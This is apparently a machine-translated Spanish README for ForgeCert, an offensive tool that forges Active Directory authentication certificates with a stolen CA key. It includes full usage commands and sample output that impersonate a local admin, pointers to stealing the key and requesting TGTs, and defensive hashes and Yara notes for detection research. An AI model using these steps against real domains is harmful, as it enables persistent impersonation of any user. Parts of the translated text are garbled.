ForgeCert utiliza la API de BouncyCastle C # y un certificado de autoridad de certificación (CA) robado + clave privada para falsificar certificados para cualquier usuario que pueda autenticarse con Active Directory.
Este ataque se codifica como DPERSIST1 en nuestro documento técnico «Usados certificados». Esta base de código se publicó ~ 45 días después de la publicación del documento técnico.
@tifkin_ es el autor principal de ForgeCert.
@tifkin_ y @ hurtj0y son los autores principales de investigaciones relacionadas sobre el servicio de certificados de Active Directory (blog y notas del producto).
antecedentes
Como se describe en Background y Forging Certificates with Stolen CA Certificates – DPERSIST1 Las secciones de nuestro informe técnico protegen la clave privada para el certificado de CA de una autoridad de certificación en el servidor de CA, ya sea a través de DPAPI o hardware (HSM / TPM). Además, el certificado (sin clave privada) se envía al Certificados NTAuth Objeto de bosque que define certificados de CA que permiten la autenticación con AD. En conjunto, una CA cuyo certificado está en Certificados NTAuth utiliza su clave privada para firmar solicitudes de firma de certificado (CSR) de los clientes solicitantes. Este gráfico resume el proceso:
La seguridad de la clave privada de la CA es de suma importancia. Si la clave privada no está protegida por una solución de hardware como un TPM o un HSM como se mencionó, la clave se cifra con la API de protección de datos (DPAPI) y se almacena en el disco duro del servidor de CA. Si un atacante puede comprometer un servidor de CA, puede obtener la clave privada para cualquier certificado de CA no protegido por hardware utilizando. extraer @gentilkiwiMimikatz o el proyecto SharpDPAPI de GhostPack. THEFT3 en el libro blanco describe este proceso para certificados de máquinas.
Dado que el único material de clave que se utiliza para firmar certificados emitidos es la clave privada de la CA, un atacante debería robar dicha clave (en el caso de un certificado en Certificados NTAuth) puede falsificar certificados con capacidad de autenticación de dominio. Estos certificados falsos pueden ser válidos para cualquier principal del dominio (aunque la cuenta debe estar «activa» para autenticarse, por lo que cuentas como krbtgt no funcionarán) y los certificados son válidos siempre que el certificado de CA sea válido (normalmente 5 años de forma predeterminada, pero se puede establecer durante más tiempo).
Dado que estos certificados no son producto del proceso de emisión normal, la autoridad de certificación no sabe que fueron creados. Por lo tanto, los certificados son no se puede revocar.
Nota: la clave privada para CADA certificado de CA en Certificados NTAuth (CA raíz o subordinada) se puede utilizar para falsificar certificados que se pueden autenticar en el bosque. Si el certificado / clave es de una CA subordinada, se debe proporcionar una CRL legítima para verificar la cadena de certificados.
ForgeCert utiliza X509V3CertificateGenerator de BouncyCastle para llevar a cabo las falsificaciones.
Usando la línea de comando
ForgeCert.exe ForgeCert 1.0.0.0 Copyright c 2021 ERROR(S): Required option ‘CaCertPath’ is missing. Required option ‘SubjectAltName’ is missing. Required option ‘NewCertPath’ is missing. Required option ‘NewCertPassword’ is missing. –CaCertPath Required. CA private key as a .pfx or .p12 file –CaCertPassword Password to the CA private key file –Subject (Default: CN=User) Subject name in the certificate –SubjectAltName Required. UPN of the user to authenticate as –NewCertPath Required. Path where to save the new .pfx certificate –NewCertPassword Required. Password to the .pfx file –CRL ldap path to a CRL for the forged certificate –help Display this help screen. –version Display version information. «>
C:Temp>ForgeCert.exeForgeCert 1.0.0.0Copyright c 2021ERROR(S):Required option 'CaCertPath' is missing.Required option 'SubjectAltName' is missing.Required option 'NewCertPath' is missing.Required option 'NewCertPassword' is missing.--CaCertPath Required. CA private key as a .pfx or .p12 file--CaCertPassword Password to the CA private key file--Subject (Default: CN=User) Subject name in the certificate--SubjectAltName Required. UPN of the user to authenticate as--NewCertPath Required. Path where to save the new .pfx certificate--NewCertPassword Required. Password to the .pfx file--CRL ldap path to a CRL for the forged certificate--help Display this help screen.--version Display version information.
propósito de uso
Nota: Para obtener instrucciones completas sobre cómo robar una clave de CA privada y falsificar certificados de autenticación, consulte DPERSIST1 en el libro blanco.
Contexto:
- El certificado de la CA robada es ca.pfx, cifrado con una contraseña de Password123!
- El asunto es arbitrario ya que proporcionamos un nombre de asunto alternativo para el certificado.
- El nombre alternativo del sujeto (es decir, el usuario para el que estamos falsificando un certificado) es [email protected].
- El certificado falso se guarda como localadmin.pfx, cifrado con la contraseña NewPassword123!
ForgeCert.exe –CaCertPath ca.pfx –CaCertPassword «Password123!» –Subject «CN=User» –SubjectAltName «[email protected]» –NewCertPath localadmin.pfx –NewCertPassword «NewPassword123!» CA Certificate Information: Subject: CN=theshire-DC-CA, DC=theshire, DC=local Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 1/4/2021 10:48:02 AM End Date: 1/4/2026 10:58:02 AM Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2 Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21 Forged Certificate Information: Subject: CN=User SubjectAltName: [email protected] Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 7/26/2021 3:38:45 PM End Date: 7/26/2022 3:38:45 PM Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D Serial: 3627A48F90F6869C3215FF05BC3B2E42 Done. Saved forged certificate to localadmin.pfx with the password ‘NewPassword123!’ «>
C:ToolsForgeCert>ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"CA Certificate Information:Subject: CN=theshire-DC-CA, DC=theshire, DC=localIssuer: CN=theshire-DC-CA, DC=theshire, DC=localStart Date: 1/4/2021 10:48:02 AMEnd Date: 1/4/2026 10:58:02 AMThumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21Forged Certificate Information:Subject: CN=UserSubjectAltName: [email protected]Issuer: CN=theshire-DC-CA, DC=theshire, DC=localStart Date: 7/26/2021 3:38:45 PMEnd Date: 7/26/2022 3:38:45 PMThumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878DSerial: 3627A48F90F6869C3215FF05BC3B2E42Done. Save d forged certificate to localadmin.pfx with the password 'NewPassword123!'
Esta falsificación se puede realizar en un sistema controlado por un atacante, y el certificado resultante se puede usar con Rubeus para solicitar un TGT (y / o obtener el NTLM del usuario;)
Consideraciones de defensa
El TypeRefHash del código base actual de ForgeCert es b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0.
El GUID de TypeLib de ForgeCert es bd346689-8ee6-40b3-858b-4ed94f08d40a. Esto se refleja en las reglas de Yara incluidas actualmente en este repositorio.
Ver PREVENT1, DETECT3, y DETECT5 en nuestro documento técnico para obtener consejos de prevención y detección.
Fabián Bader publicó una excelente publicación sobre cuántos usos de los «Certificados de oro» pueden mitigarse con las optimizaciones de OSCP. Tenga en cuenta que en el Pensamientos finales Sección que menciona This method is not bulletproof at all. Since the attacker is in charge of the certificate creation process, she could just change the serial number to a valid one. Esto se ha implementado en su PR, pero hay que tener en cuenta que el número de serie es aleatorio por defecto, lo que significa que la prevención de OSCP debería funcionar en muchos casos y creemos que vale la pena implementarla.
Creemos que hay formas de Yara / crear otras reglas de detección para los tipos de certificados falsificados que este proyecto está produciendo; si los investigadores de defensa pueden encontrar una buena manera de firmar estos archivos, háganoslo saber y adoptaremos las reglas de Yara / Actualizar las pautas defensivas aquí. .
reflexiones
Existe un claro paralelismo entre los “billetes dorados” (TGT falsos) y estos “certificados dorados” (certificados AD CS forzados). Tanto el hash krbtgt como la clave privada de CA son material criptográfico que es fundamental para la seguridad de un entorno de Active Directory, y ambos se pueden utilizar para falsificar autenticadores para cualquier usuario. Sin embargo, aunque el hash krbtgt se puede obtener de forma remota a través de DCSync, se debe recuperar una clave de CA privada (al menos hasta donde sabemos) mediante la ejecución de código en la propia máquina de CA. Mientras que un hash krbtgt se puede rotar relativamente Rotar una clave privada de CA es mucho más difícil simplemente haciéndolo.
En lo que respecta a la divulgación pública, hemos auto-embargado la publicación de nuestras herramientas ofensivas (ForgeCert y Certify) durante ~ 45 días después de la publicación de nuestro documento técnico para brindar a las empresas la oportunidad de controlar los problemas que rodean a Active. Servicios de certificados de directorio. Sin embargo, hemos descubierto que en el pasado, las empresas y los proveedores a menudo no solucionaban problemas ni desarrollaban detecciones de ataques «teóricos» hasta que alguien con una prueba de concepto demuestra que algo es posible.
Esto se refleja en la respuesta de algunas personas a la investigación de this IS StUPId, oF COurse YoU Can FORge CERts WITH ThE ca PriVAtE KeY. A lo que decimos que sí, mucho es posible, pero PoC||GTFO